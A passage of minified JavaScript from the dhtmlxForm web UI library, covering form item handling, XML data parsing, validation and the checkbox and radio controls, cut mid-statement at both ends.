o=false;for(n=0;n<D._validate.length;n++){o=(o||(D._validate[n]==\"NotEmpty\"))}if(!o){D._validate.push(\"NotEmpty\")}}D._ll=(x.position==this.apos_css[\"label-left\"]||x.position==this.apos_css[\"label-top\"]);this.objPull[this.idPrefix+r]=this.items[E].render(D,x);this.itemPull[this.idPrefix+r]=D};this._initObj=function(r,n){if(typeof(r.data)!=\"undefined\"){var s=null;if(typeof(n)!=\"undefined\"){s=n.match(/(\\?|\\&)id\\=([a-z0-9_\\-]*)/i);if(s!=null&&s[0]!=null){s=s[0].split(\"=\")[1]}}if(this.callEvent(\"onBeforeDataLoad\",[s,window.dhx4._copyObj(r.data)])===true){this.formId=s;this._last_load_data=r;this.setFormData(r.data);this.resetDataProcessor(\"updated\")}return}this._prepare();for(var o=0;o<r.length;o++){if(typeof(r[o])!=\"undefined\"&&r[o].type==\"settings\"){for(var m in r[o]){this.idef[m]=r[o][m]}}}for(var o=0;o<r.length;o++){this._prepareItem(r[o])}this._autoCheck()};this._prepareItem=function(q,u,o){var n=(q!=null&&q.type!=null?q.type:\"\");if(this.items[n]){if(!q.name){q.name=this._genStr(12)}var s=q.name;if(this.objPull[this.idPrefix+s]!=null||n==\"radio\"){s=this._genStr(12)}var r=q;r.label=r.label||\"\";r.value=r.value;r.checked=window.dhx4.s2b(r.checked);r.disabled=window.dhx4.s2b(r.disabled);r.name=r.name||this._genStr(12);r.options=r.options||[];r.rows=r.rows||\"none\";r.uid=this._genStr(12);this._addItem(n,s,r,null,null,u,o);u=null;if(this._parentEnabled===false){this._disableItem(s)}for(var m=0;m<r.options.length;m++){if(r.options[m].list!=null){if(!r.options[m].value){r.options[m].value=this._genStr()}var a=this._addItem(\"list\",s,r.options[m].list,r.options[m].value,null);a._subSelect=true;a._subSelectId=r.options[m].value}}if(q.list!=null){if(!q.listParent){q.listParent=r.name}var a=this._addItem(\"list\",s,q.list,null,q.listParent)}}};this._xmlSubItems={item:\"list\",option:\"options\",note:\"note\",userdata:\"_userdata\"};this._xmlToObject=function(C,m){if(typeof(m)==\"undefined\"){m=true}if(m){var E=C.getElementsByTagName(\"items\");E=(E!=null&&E[0]!=null?E[0]:null);var n=C.getElementsByTagName(\"data\");n=(n!=null&&n[0]!=null?n[0]:null)}else{E=C}var y=(m?[]:{});if(E!=null){for(var r=0;r<E.childNodes.length;r++){if(typeof(E.childNodes[r].tagName)!=\"undefined\"){var s=E.childNodes[r].tagName;if(this._xmlSubItems[s]!=null){var u=this._xmlSubItems[s];if(typeof(y[u])==\"undefined\"){y[u]=[]}var A=E.childNodes[r];var x={};for(var J=0;J<A.attributes.length;J++){var F=A.attributes[J].name;var D=A.attributes[J].value;x[F]=D}if(u==\"note\"){x.text=A.firstChild.nodeValue}if(u==\"_userdata\"){x.value=(A.firstChild!=null&&A.firstChild.nodeValue!=null?A.firstChild.nodeValue:\"\")}var v=this._xmlToObject(A,false);for(var H in v){if(H==\"_userdata\"){if(!x.userdata){x.userdata={}}for(var J=0;J<v[H].length;J++){x.userdata[v[H][J].name]=v[H][J].value}}else{x[H]=v[H]}}A=null;if(m){y.push(x)}else{y[u].push(x)}}}}}if(n!=null){y={data:{}};for(var r=0;r<n.childNodes.length;r++){if(typeof(n.childNodes[r].tagName)!=\"undefined\"){var o=n.childNodes[r].tagName;var I=(n.childNodes[r].firstChild!=null?n.childNodes[r].firstChild.nodeValue:\"\");y.data[o]=I}}}return y};this._autoCheck=function(s){if(this._locked===true){s=false}else{if(typeof(s)==\"undefined\"){s=true}}for(var o in this.itemPull){var u=(s&&(this.itemPull[o]._udis!==true));this[u?\"_enableItem\":\"_disableItem\"](this.itemPull[o]._idd);if(this.getForm()._idIndex[this.itemPull[o]._idd]!=null){this.getForm()._idIndex[this.itemPull[o]._idd].enabled=u}var n=(u&&(typeof(this.itemPull[o]._checked)==\"boolean\"?this.itemPull[o]._checked:true));if(this.itemPull[o]._list){for(var y=0;y<this.itemPull[o]._list.length;y++){var x=true;if(this.itemPull[o]._list[y]._subSelect==true){x=false;var r=this.getItemValue(this.itemPull[o]._idd);if(!(typeof(r)==\"object\"&&typeof(r.length)==\"number\")){r=[r]}for(var m=0;m<r.length;m++){x=(r[m]==this.itemPull[o]._list[y]._subSelectId)||x}this.itemPull[o]._listObj[y][x?\"show\":\"hide\"](this.itemPull[o]._listBase[y])}this.itemPull[o]._list[y]._autoCheck(n&&x)}}}};this.doWithItem=function(o,m,x,w,v,u){if(typeof(o)==\"object\"){var A=o[0];var y=o[1];var C=null;var s=null;for(var r in this.itemPull){if((this.itemPull[r]._value==y||y===null)&&this.itemPull[r]._group==A){return this.objPull[r][m](this.itemPull[r],x,w,v,u)}if(this.itemPull[r]._list!=null&&!s){for(var n=0;n<this.itemPull[r]._list.length;n++){s=this.itemPull[r]._list[n].doWithItem(o,m,x,w,v)}}}if(s!=null){return s}else{if(m==\"getType\"){return this.doWithItem(o[0],\"getType\")}}}else{if(!this.itemPull[this.idPrefix+o]){var s=null;for(var r in this.itemPull){if(this.itemPull[r]._list&&!s){for(var n=0;n<this.itemPull[r]._list.length;n++){if(s==null){s=this.itemPull[r]._list[n].doWithItem(o,m,x,w,v,u)}}}}return s}else{return this.objPull[this.idPrefix+o][m](this.itemPull[this.idPrefix+o],x,w,v,u)}}};this._removeItem=function(m,a){if(a!=null){m=this.doWithItem([m,a],\"destruct\")}else{this.doWithItem(m,\"destruct\")}this._clearItemData(m)};this._clearItemData=function(o){if(this.itemPull[this.idPrefix+o]){o=this.idPrefix+o;try{this.objPull[o]=null;this.itemPull[o]=null;delete this.objPull[o];delete this.itemPull[o]}catch(n){}}else{for(var a in this.itemPull){if(this.itemPull[a]._list){for(var m=0;m<this.itemPull[a]._list.length;m++){this.itemPull[a]._list[m]._clearItemData(o)}}}}};this.isItem=function(m,a){if(a!=null){m=[m,a]}return this.doWithItem(m,\"isExist\")};this.getItemType=function(m,a){m=[m,(a||null)];return this.doWithItem(m,\"getType\")};this.forEachItem=function(n){for(var m in this.objPull){if(this.objPull[m].t==\"radio\"){n(this.itemPull[m]._group,this.itemPull[m]._value)}else{n(String(m).replace(this.idPrefix,\"\"))}if(this.itemPull[m]._list){for(var o=0;o<this.itemPull[m]._list.length;o++){this.itemPull[m]._list[o].forEachItem(n)}}}};this.setItemLabel=function(n,a,m){if(m!=null){n=[n,a]}else{m=a}this.doWithItem(n,\"setText\",m)};this.getItemLabel=function(m,a){if(a!=null){m=[m,a]}return this.doWithItem(m,\"getText\")};this._enableItem=function(a){this.doWithItem(a,\"enable\")};this._disableItem=function(a){this.doWithItem(a,\"disable\")};this._isItemEnabled=function(a){return this.doWithItem(a,\"isEnabled\")};this.checkItem=function(m,a){if(a!=null){m=[m,a]}this.doWithItem(m,\"check\");this._autoCheck()};this.uncheckItem=function(m,a){if(a!=null){m=[m,a]}this.doWithItem(m,\"unCheck\");this._autoCheck()};this.isItemChecked=function(m,a){if(a!=null){m=[m,a]}return this.doWithItem(m,\"isChecked\")};this.getCheckedValue=function(a){return this.doWithItem([a,null],\"getChecked\")};this._getRGroup=function(u,s){for(var m in this.itemPull){if(this.itemPull[m]._group==u&&(s==null||this.itemPull[m]._value==s)){return this.itemPull[m]._idd}if(this.itemPull[m]._list!=null){for(var o=0;o<this.itemPull[m]._list.length;o++){var n=this.itemPull[m]._list[o]._getRGroup(u,s);if(n!=null){return n}}}}return null};this.setItemValue=function(m,a){this.resetValidateCss(m,a);if(this.getItemType(m)==\"radio\"){if(this._getRGroup(m,a)!=null){this.checkItem(m,a)}else{this.uncheckItem(m,this.getCheckedValue(m))}return null}return this.doWithItem(m,\"setValue\",a)};this.getItemValue=function(m,a){if(this.getItemType(m)==\"radio\"){return this.getCheckedValue(m)}return this.doWithItem(m,\"getValue\",a)};this.updateValues=function(){this._updateValues()};this.showItem=function(m,a){if(a!=null){m=[m,a]}this.doWithItem(m,\"show\")};this.hideItem=function(m,a){if(a!=null){m=[m,a]}this.doWithItem(m,\"hide\")};this.isItemHidden=function(m,a){if(a!=null){m=[m,a]}return this.doWithItem(m,\"isHidden\")};this.getOptions=function(a){return this.doWithItem(a,\"getOptions\")};this.setItemWidth=function(m,a){this.doWithItem(m,\"setWidth\",a)};this.getItemWidth=function(a){return this.doWithItem(a,\"getWidth\")};this.setItemHeight=function(m,a){this.doWithItem(m,\"setHeight\",a)};this.setItemFocus=function(m,a){if(a!=null){m=[m,a]}this.doWithItem(m,\"setFocus\")};this._updateValues=function(){for(var m in this.itemPull){if(this.objPull[m]&&typeof(this.objPull[m].updateValue)==\"function\"){this.objPull[m].updateValue(this.itemPull[m])}if(this.itemPull[m]._list){for(var n=0;n<this.itemPull[m]._list.length;n++){this.itemPull[m]._list[n]._updateValues()}}}};this._getItemByName=function(s){for(var m in this.itemPull){if(this.itemPull[m]._idd==s){return this.itemPull[m]}if(this.itemPull[m]._list!=null){for(var o=0;o<this.itemPull[m]._list.length;o++){var n=this.itemPull[m]._list[o]._getItemByName(s);if(n!=null){return n}}}}return null};this._resetValidateCss=function(a){a.className=(a.className).replace(a._vcss,\"\");a._vcss=null};this.setValidateCss=function(a,o,n){var m=this[this.getItemType(a)==\"radio\"?\"_getRGroup\":\"_getItemByName\"](a);if(!m){return}if(m._vcss!=null){this._resetValidateCss(m)}m._vcss=(typeof(n)==\"string\"?n:\"validate_\"+(o===true?\"ok\":\"error\"));m.className+=\" \"+m._vcss};this.resetValidateCss=function(n){for(var m in this.itemPull){if(this.itemPull[m]._vcss!=null){this._resetValidateCss(this.itemPull[m])}if(this.itemPull[m]._list!=null){for(var o=0;o<this.itemPull[m]._list.length;o++){this.itemPull[m]._list[o].resetValidateCss()}}}};this.validate=function(m){if(this.callEvent(\"onBeforeValidate\",[])==false){return}var a=true;this.forEachItem(function(o,q){if(typeof(q)!=\"undefined\"){o=[o,q]}var n=e.doWithItem(o,\"_validate\");if(typeof(n)!=\"boolean\"){n=true}a=n&&a});this.callEvent(\"onAfterValidate\",[a]);return a};this.validateItem=function(a,m){if(typeof(m)!=\"undefined\"){a=[a,m]}return this.doWithItem(a,\"_validate\")};this.enableLiveValidation=function(a){this.live_validate=(a==true)};this.setReadonly=function(m,a){this.doWithItem(m,\"setReadonly\",a)};this.isReadonly=function(a){return this.doWithItem(a,\"isReadonly\")};this.getFirstActive=function(m){for(var o=0;o<this._indexId.length;o++){var a=true;if(m==true){var n=this.getItemType(this._indexId[o]);if(!dhtmlXForm.prototype.items[n].setFocus){a=false}}if(a&&this._idIndex[this._indexId[o]].enabled){return this._indexId[o]}}return null};this.setFocusOnFirstActive=function(){var a=this.getFirstActive(true);if(a!=null){this.setItemFocus(a)}};this.enableItem=function(m,a){if(a!=null){m=[m,a]}this.doWithItem(m,\"userEnable\");this._autoCheck()};this.disableItem=function(m,a){if(a!=null){m=[m,a]}this.doWithItem(m,\"userDisable\");this._autoCheck()};this.isItemEnabled=function(m,a){if(a!=null){m=[m,a]}return this.doWithItem(m,\"isUserEnabled\")};this.clear=function(){var m={};this.formId=(new Date()).valueOf();this.resetDataProcessor(\"inserted\");for(var n in this.itemPull){var o=this.itemPull[n]._idd;if(this.itemPull[n]._type==\"ch\"){this.uncheckItem(o)}if(this.itemPull[n]._type in {ta:1,editor:1,calendar:1,pw:1,hd:1}){this.setItemValue(o,\"\")}if(this.itemPull[n]._type==\"combo\"){this.itemPull[n]._apiChange=true;var v=this.getCombo(o);v.selectOption(0);v=null;this.itemPull[n]._apiChange=false}if(this.itemPull[n]._type==\"se\"){var s=this.getOptions(o);if(s.length>0){s[0].selected=true}}if(this.itemPull[n]._type==\"ra\"){var r=this.itemPull[n]._group;if(!m[r]){this.checkItem(r,this.doWithItem(o,\"_getFirstValue\"));m[r]=true}}if(this.itemPull[n]._list){for(var u=0;u<this.itemPull[n]._list.length;u++){this.itemPull[n]._list[u].clear()}}if(this[\"setFormData_\"+this.itemPull[n]._type]){this[\"setFormData_\"+this.itemPull[n]._type](o,\"\")}}m=null;if(this._parentForm){this._autoCheck()}this.resetValidateCss()};this.unload=function(){window.dhx4._enableDataLoading(this,null,null,null,\"clear\");window.dhx4._eventable(this,\"clear\");for(var m in this.objPull){this._removeItem(String(m).replace(this.idPrefix,\"\"))}if(this._ccTm){window.clearTimeout(this._ccTm)}this._formLS=null;for(var n=0;n<this.base.length;n++){while(this.base[n].childNodes.length>0){this.base[n].removeChild(this.base[n].childNodes[0])}if(this.base[n].parentNode){this.base[n].parentNode.removeChild(this.base[n])}this.base[n]=null}this.base=null;this.cont.onkeypress=null;this.cont.className=\"\";this.cont=null;for(var m in this){this[m]=null}e=null};for(var c in this.items){this.items[c].t=c;if(typeof(this.items[c]._index)==\"undefined\"){this.items[c]._index=true}if(!this.items[c].show){this.items[c].show=function(a){a.style.display=\"\";if(a._listObj){for(var m=0;m<a._listObj.length;m++){a._listObj[m].show(a._listBase[m])}}}}if(!this.items[c].hide){this.items[c].hide=function(a){a.style.display=\"none\";if(a._listObj){for(var m=0;m<a._listObj.length;m++){a._listObj[m].hide(a._listBase[m])}}}}if(!this.items[c].isHidden){this.items[c].isHidden=function(a){return(a.style.display==\"none\")}}if(!this.items[c].userEnable){this.items[c].userEnable=function(a){a._udis=false}}if(!this.items[c].userDisable){this.items[c].userDisable=function(a){a._udis=true}}if(!this.items[c].isUserEnabled){this.items[c].isUserEnabled=function(a){return(a._udis!==true)}}if(!this.items[c].getType){this.items[c].getType=function(){return this.t}}if(!this.items[c].isExist){this.items[c].isExist=function(){return true}}if(!this.items[c]._validate){this.items[c]._validate=function(n){if(!n._validate||!n._enabled){return true}if(n._type==\"ch\"){var u=(this.isChecked(n)?this.getValue(n):0)}else{var u=this.getValue(n)}var m=true;for(var s=0;s<n._validate.length;s++){var a=\"is\"+n._validate[s];if((u==null||u.length==0)&&a!=\"isNotEmpty\"&&n._type!=\"container\"){}else{var o=dhtmlxValidation[a];if(n._type==\"container\"&&typeof(o)==\"function\"){o=function(){return true}}if(typeof(o)!=\"function\"&&typeof(n._validate[s])==\"function\"){o=n._validate[s]}if(typeof(o)!=\"function\"&&typeof(window[n._validate[s]])==\"function\"){o=window[n._validate[s]]}m=((typeof(o)==\"function\"?o(u,n._idd):new RegExp(n._validate[s]).test(u))&&m);o=null}}if(!(n.callEvent(\"onValidate\"+(m?\"Success\":\"Error\"),[n._idd,u,m])===false)){n.getForm().setValidateCss(n._idd,m)}return m}}}this._locked=false;this._doLock=function(m){var a=(m===true?true:false);if(this._locked==a){return}else{this._locked=a}this._autoCheck(!this._locked)};this.lock=function(){this._doLock(true)};this.unlock=function(){this._doLock(false)};this.isLocked=function(){return this._locked};this.setNumberFormat=function(o,m,a,n){return this.doWithItem(o,\"setNumberFormat\",m,a,n)};window.dhx4._enableDataLoading(this,\"_initObj\",\"_xmlToObject\",\"items\",{struct:true,data:true});window.dhx4._eventable(this);this.attachEvent(\"_onButtonClick\",function(a,m){this.callEvent(\"onButtonClick\",[a,m])});this._updateBlocks=function(){this.forEachItem(function(a){if(e.getItemType(a)==\"block\"||e.getItemType(a)==\"combo\"){e.doWithItem(a,\"_setCss\",e.skin,e.cont.style.fontSize)}})};this._isObj=function(a){return(a!=null&&typeof(a)==\"object\"&&typeof(a.length)==\"undefined\")};this._copyObj=function(o){if(this._isObj(o)){var n={};for(var m in o){if(typeof(o[m])==\"object\"&&o[m]!=null){n[m]=this._copyObj(o[m])}else{n[m]=o[m]}}}else{var n=[];for(var m=0;m<o.length;m++){if(typeof(o[m])==\"object\"&&o[m]!=null){n[m]=this._copyObj(o[m])}else{n[m]=o[m]}}}return n};if(g!=null&&typeof(g)==\"object\"){this._initObj(this._copyObj(g))}if(this._parentForm){this._updateBlocks()}this._ccActive=false;this._ccTm=null;return this}dhtmlXForm.prototype.getInput=function(a){return this.doWithItem(a,\"getInput\")};dhtmlXForm.prototype.getSelect=function(a){return this.doWithItem(a,\"getSelect\")};dhtmlXForm.prototype.items={};dhtmlXForm.prototype.items.checkbox={render:function(a,c){a._type=\"ch\";a._enabled=true;a._checked=false;a._value=(typeof(c.value)==\"undefined\"?null:String(c.value));a._ro=(c.readonly==true);if(c._autoInputWidth!==false){c.inputWidth=14}this.doAddLabel(a,c);this.doAddInput(a,c,\"INPUT\",\"TEXT\",true,true,\"dhxform_textarea\");a.childNodes[a._ll?1:0].className+=\" dhxform_img_node\";var e=document.createElement(\"DIV\");e.className=\"dhxform_img chbx0\";a.appendChild(e);if(!isNaN(c.inputLeft)){a.childNodes[a._ll?1:0].style.left=parseInt(c.inputLeft)+\"px\"}if(!isNaN(c.inputTop)){a.childNodes[a._ll?1:0].style.top=parseInt(c.inputTop)+\"px\"}a.childNodes[a._ll?1:0].appendChild(e);a.childNodes[a._ll?1:0].firstChild.value=String(c.value);a._updateImgNode=function(h,l){var g=h.childNodes[h._ll?1:0].lastChild;g.className=(l?\"dhxform_actv_c\":\"dhxform_img\")+\" \"+(h._checked?\"chbx1\":\"chbx0\");h=g=null};a._doOnFocus=function(g){g.getForm().callEvent(\"onFocus\",[g._idd])};a._doOnBlur=function(g){g.getForm().callEvent(\"onBlur\",[g._idd])};a._doOnKeyUpDown=function(h,g){this.callEvent(h,[this.childNodes[this._ll?0:1].childNodes[0],g,this._idd])};if(c.checked==true){this.check(a)}if(c.hidden==true){this.hide(a)}if(c.disabled==true){this.userDisable(a)}this.doAttachEvents(a);return this},destruct:function(a){a._doOnFocus=a._doOnBlur=a._updateImgNode=null;this.doUnloadNestedLists(a);this.doDestruct(a)},doAddLabel:function(c,e){var a=document.createElement(\"DIV\");a.className=\"dhxform_label \"+e.labelAlign;if(e.wrap==true){a.style.whiteSpace=\"normal\"}if(c._ll){c.insertBefore(a,c.firstChild)}else{c.appendChild(a)}if(typeof(e.tooltip)!=\"undefined\"){a.title=e.tooltip}a.innerHTML=\"<div class='dhxform_label_nav_link' onfocus='if(this.parentNode.parentNode._updateImgNode)this.parentNode.parentNode._updateImgNode(this.parentNode.parentNode,true);this.parentNode.parentNode._doOnFocus(this.parentNode.parentNode);' onblur='if(this.parentNode.parentNode._updateImgNode)this.parentNode.parentNode._updateImgNode(this.parentNode.parentNode,false);this.parentNode.parentNode._doOnBlur(this.parentNode.parentNode);' onkeypress='var e=event||window.arguments[0];if(e.keyCode==32||e.charCode==32){e.cancelBubble=true;if(e.preventDefault)e.preventDefault();else e.returnValue=false;_dhxForm_doClick(this,\\\"mousedown\\\");return false;}' onkeyup='var e=event||window.arguments[0];this.parentNode.parentNode._doOnKeyUpDown(\\\"onKeyUp\\\",e);' onkeydown='var e=event||window.arguments[0];this.parentNode.parentNode._doOnKeyUpDown(\\\"onKeyDown\\\",e);' \"+(window.dhx4.isIPad?\"ontouchstart='var e=event;e.preventDefault();_dhxForm_doClick(this,\\\"mousedown\\\");' \":\"\")+\"role='link' tabindex='0'>\"+e.label+(e.info?\"<span class='dhxform_info'>[?]</span>\":\"\")+(c._required?\"<span class='dhxform_item_required'>*</span>\":\"\")+\"</div>\";if(!isNaN(e.labelWidth)){a.firstChild.style.width=parseInt(e.labelWidth)+\"px\"}if(!isNaN(e.labelHeight)){a.firstChild.style.height=parseInt(e.labelHeight)+\"px\"}if(!isNaN(e.labelLeft)){a.style.left=parseInt(e.labelLeft)+\"px\"}if(!isNaN(e.labelTop)){a.style.top=parseInt(e.labelTop)+\"px\"}},doAddInput:function(v,g,c,o,q,h,l){var a=document.createElement(\"DIV\");a.className=\"dhxform_control\";if(v._ll){v.appendChild(a)}else{v.insertBefore(a,v.firstChild)}var s=document.createElement(c);s.className=l;s.name=v._idd;s._idd=v._idd;s.id=g.uid;if(typeof(o)==\"string\"){s.type=o}if(c==\"INPUT\"||c==\"TEXTAREA\"){s.onkeyup=function(u){u=u||event;v.callEvent(\"onKeyUp\",[this,u,this._idd])};s.onkeydown=function(u){u=u||event;v.callEvent(\"onKeyDown\",[this,u,this._idd])}}a.appendChild(s);if(g.readonly){this.setReadonly(v,true)}if(g.hidden==true){this.hide(v)}if(g.disabled==true){this.userDisable(v)}if(q){if(!isNaN(g.inputLeft)){a.style.left=parseInt(g.inputLeft)+\"px\"}if(!isNaN(g.inputTop)){a.style.top=parseInt(g.inputTop)+\"px\"}}var r=\"\";var m=false;if(h){if(!isNaN(g.inputWidth)){r+=\"width:\"+parseInt(g.inputWidth)+\"px;\";m=true}if(!isNaN(g.inputHeight)){r+=\"height:\"+parseInt(g.inputHeight)+\"px;\"}}if(typeof(g.style)==\"string\"){r+=g.style}s.style.cssText=r;if(g.maxLength){s.setAttribute(\"maxLength\",g.maxLength)}if(g.connector){s.setAttribute(\"connector\",g.connector)}var e=(dhtmlXForm.prototype.items[this.t]!=null?dhtmlXForm.prototype.items[this.t]._dimFix==true:false);if(m&&({input:1,password:1,select:1,multiselect:1,calendar:1,colorpicker:1}[this.t]==1||e)){if(dhtmlXForm.prototype.items[this.t]._dim==null){dhtmlXForm.prototype.items[this.t]._dim=v.getForm()._checkDim(a,s)}s.style.width=parseInt(s.style.width)-dhtmlXForm.prototype.items[this.t]._dim+\"px\"}if(typeof(g.note)==\"object\"){var n=document.createElement(\"DIV\");n.className=\"dhxform_note\";n.style.width=(isNaN(g.note.width)?s.offsetWidth:parseInt(g.note.width))+\"px\";n._w=g.note.width;n.innerHTML=g.note.text;a.appendChild(n);n=null}},doUnloadNestedLists:function(a){if(!a._list){return}for(var c=0;c<a._list.length;c++){a._list[c].unload();a._list[c]=null;a._listObj[c]=null;a._listBase[c].parentNode.removeChild(a._listBase[c]);a._listBase[c]=null}a._list=null;a._listObj=null;a._listBase=null},doDestruct:function(a){a.callEvent=null;a.checkEvent=null;a.getForm=null;a._autoCheck=null;a._checked=null;a._enabled=null;a._idd=null;a._type=null;a._value=null;a._group=null;a.onselectstart=null;a.childNodes[a._ll?1:0].onmousedown=null;a.childNodes[a._ll?1:0].ontouchstart=null;a.childNodes[a._ll?0:1].onmousedown=null;a.childNodes[a._ll?0:1].ontouchstart=null;a.childNodes[a._ll?0:1].childNodes[0].onfocus=null;a.childNodes[a._ll?0:1].childNodes[0].onblur=null;a.childNodes[a._ll?0:1].childNodes[0].onkeypress=null;a.childNodes[a._ll?0:1].childNodes[0].onkeyup=null;a.childNodes[a._ll?0:1].childNodes[0].onkeydown=null;a.childNodes[a._ll?0:1].childNodes[0].onmousedown=null;a.childNodes[a._ll?0:1].childNodes[0].ontouchstart=null;a.childNodes[a._ll?0:1].removeChild(a.childNodes[a._ll?0:1].childNodes[0]);while(a.childNodes.length>0){a.removeChild(a.childNodes[0])}a.parentNode.removeChild(a);a=null},doAttachEvents:function(c){var a=this;c.childNodes[c._ll?1:0][window.dhx4.isIPad?\"ontouchstart\":\"onmousedown\"]=function(h){h=h||event;if(h.preventDefault){h.preventDefault()}var g=(h.target||h.srcElement);if(!this.parentNode._enabled||this.parentNode._ro||(typeof(g.className)!=\"undefined\"&&g.className==\"dhxform_note\")){h.cancelBubble=true;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}return false}a.doClick(this.parentNode)};c.childNodes[c._ll?0:1].childNodes[0][window.dhx4.isIPad?\"ontouchstart\":\"onmousedown\"]=function(h){h=h||event;if(h.preventDefault){h.preventDefault()}if(!this.parentNode.parentNode._enabled){h.cancelBubble=true;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}return false}var g=h.target||h.srcElement;if(typeof(g.className)!=\"undefined\"&&g.className==\"dhxform_info\"){this.parentNode.parentNode.callEvent(\"onInfo\",[this.parentNode.parentNode._idd,h]);h.cancelBubble=true;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}return false}a.doClick(this.parentNode.parentNode)}},doClick:function(a){a.childNodes[a._ll?0:1].childNodes[0].focus();if(!a._enabled||a._ro){return}if(a.checkEvent(\"onBeforeChange\")){if(a.callEvent(\"onBeforeChange\",[a._idd,a._value,a._checked])!==true){return}}this.setChecked(a,!a._checked);a._autoCheck();a.callEvent(\"onChange\",[a._idd,a._value,a._checked])},doCheckValue:function(a){if(a._checked&&a._enabled){a.childNodes[a._ll?1:0].firstChild.name=String(a._idd);a.childNodes[a._ll?1:0].firstChild.value=this.getValue(a)}else{a.childNodes[a._ll?1:0].firstChild.name=\"\";a.childNodes[a._ll?1:0].firstChild.value=\"\"}},setChecked:function(a,c){a._checked=(c===true?true:false);a.childNodes[a._ll?1:0].lastChild.className=a.childNodes[a._ll?1:0].lastChild.className.replace(/chbx[0-1]{1}/gi,\"\")+(a._checked?\" chbx1\":\" chbx0\");this.doCheckValue(a)},check:function(a){this.setChecked(a,true)},unCheck:function(a){this.setChecked(a,false)},isChecked:function(a){return a._checked},enable:function(a){if(String(a.className).search(\"disabled\")>=0){a.className=String(a.className).replace(/disabled/gi,\"\")}a._enabled=true;a.childNodes[a._ll?0:1].childNodes[0].tabIndex=0;a.childNodes[a._ll?0:1].childNodes[0].removeAttribute(\"disabled\");this.doCheckValue(a)},disable:function(a){if(String(a.className).search(\"disabled\")<0){a.className+=\" disabled\"}a._enabled=false;if(a._updateImgNode!=null){a._updateImgNode(a,false)}a.childNodes[a._ll?0:1].childNodes[0].tabIndex=-1;a.childNodes[a._ll?0:1].childNodes[0].setAttribute(\"disabled\",\"true\");this.doCheckValue(a)},isEnabled:function(a){return a._enabled},setText:function(a,c){a.childNodes[a._ll?0:1].childNodes[0].innerHTML=c+(a._required?\"<span class='dhxform_item_required'>*</span>\":\"\")},getText:function(a){return a.childNodes[a._ll?0:1].childNodes[0].innerHTML.replace(/<span class=\\\"dhxform_item_required\\\">[^<]*<\\/span>/g,\"\")},setValue:function(a,c){this.setChecked(a,(c===true||parseInt(c)==1||c==\"true\"||a._value===c))},getValue:function(a,c){if(c==\"realvalue\"){return a._value}return((typeof(a._value)==\"undefined\"||a._value==null)?(a._checked?1:0):a._value)},setReadonly:function(a,c){a._ro=(c===true)},isReadonly:function(a){return a._ro},setFocus:function(a){a.childNodes[a._ll?0:1].childNodes[0].focus()}};dhtmlXForm.prototype.items.radio={input:{},r:{},firstValue:{},render:function(e,g,c){e._type=\"ra\";e._enabled=true;e._checked=false;e._group=g.name;e._value=g.value;e._uid=c;e._ro=(g.readonly==true);e._rName=e._rId+e._group;this.r[e._idd]=e;g.inputWidth=14;this.doAddLabel(e,g);this.doAddInput(e,g,\"INPUT\",\"TEXT\",true,true,\"dhxform_textarea\");e.childNodes[e._ll?1:0].className+=\" dhxform_img_node\";var h=document.createElement(\"DIV\");h.className=\"dhxform_img rdbt0\";e.appendChild(h);if(!isNaN(g.inputLeft)){e.childNodes[e._ll?1:0].style.left=parseInt(g.inputLeft)+\"px\"}if(!isNaN(g.inputTop)){e.childNodes[e._ll?1:0].style.top=parseInt(g.inputTop)+\"px\"}e.childNodes[e._ll?1:0].appendChild(h);e.childNodes[e._ll?1:0].firstChild.name=\"\";e.childNodes[e._ll?1:0].firstChild.value=\"\";e._updateImgNode=function(m,n){var l=m.childNodes[m._ll?1:0].lastChild;l.className=(n?\"dhxform_actv_r\":\"dhxform_img\")+\" \"+(m._checked?\"rdbt1\":\"rdbt0\");m=l=null};e._doOnFocus=function(l){l.getForm().callEvent(\"onFocus\",[l._group,l._value])};e._doOnBlur=function(l){l.getForm().callEvent(\"onBlur\",[l._group,l._value])};e._doOnKeyUpDown=function(m,l){this.callEvent(m,[this.childNodes[this._ll?0:1].childNodes[0],l,this._group,this._value])};if(this.input[e._rName]==null){var a=document.createElement(\"INPUT\");a.type=\"HIDDEN\";a.name=g.name;a.firstValue=e._value;e.appendChild(a);this.input[e._rName]=a}if(!this.firstValue[e._rName]){this.firstValue[e._rName]=g.value}if(g.checked==true){this.check(e)}if(g.hidden==true){this.hide(e)}if(g.disabled==true){this.userDisable(e)}this.doAttachEvents(e);return this},destruct:function(g,h){if(g.lastChild==this.input[g._rName]){var e=false;for(var c in this.r){if(!e&&this.r[c]._group==g._group&&this.r[c]._idd!=g._idd){this.r[c].appendChild(this.input[g._rName]);e=true}}if(!e){this.input[g._rName].parentNode.removeChild(this.input[g._rName]);this.input[g._rName]=null;this.firstValue[g._rName]=null}}var l=g._idd;g._doOnFocus=g._doOnBlur=g._updateImgNode=null;this.doUnloadNestedLists(g);this.doDestruct(g);return l},doClick:function(c){c.childNodes[c._ll?0:1].childNodes[0].focus();if(!(c._enabled&&!c._checked)){return}if(c._ro){return}var a=[c._group,c._value,true];if(c.checkEvent(\"onBeforeChange\")){if(c.callEvent(\"onBeforeChange\",a)!==true){return}}this.setChecked(c,true);c.getForm()._autoCheck();c.callEvent(\"onChange\",a)},doCheckValue:function(e){var g=null;for(var c in this.r){if(this.r[c]._checked&&this.r[c]._group==e._group&&this.r[c]._rId==e._rId){g=this.r[c]._value}}if(g!=null&&this.r[c]._enabled){this.input[e._rName].name=String(e._group);this.input[e._rName].value=g}else{this.input[e._rName].name=\"\";this.input[e._rName].value=\"\"}this.input[e._rName]._value=g},setChecked:function(h,l){l=(l===true);for(var c in this.r){if(this.r[c]._group==h._group&&this.r[c]._rId==h._rId){var g=false;if(this.r[c]._idd==h._idd){if(this.r[c]._checked!=l){this.r[c]._checked=l;g=true}}else{if(this.r[c]._checked){this.r[c]._checked=false;g=true}}if(g){var e=this.r[c].childNodes[this.r[c]._ll?1:0].childNodes[1];e.className=e.className.replace(/rdbt[0-1]{1}/gi,\"\")+(this.r[c]._checked?\" rdbt1\":\" rdbt0\");e=null}}}this.doCheckValue(h)},getChecked:function(a){return this.input[a._rName]._value},_getFirstValue:function(a){return this.firstValue[a._rName]},_getId:function(a){return a._idd},setValue:function(a,c){}};(function(){for(var c in 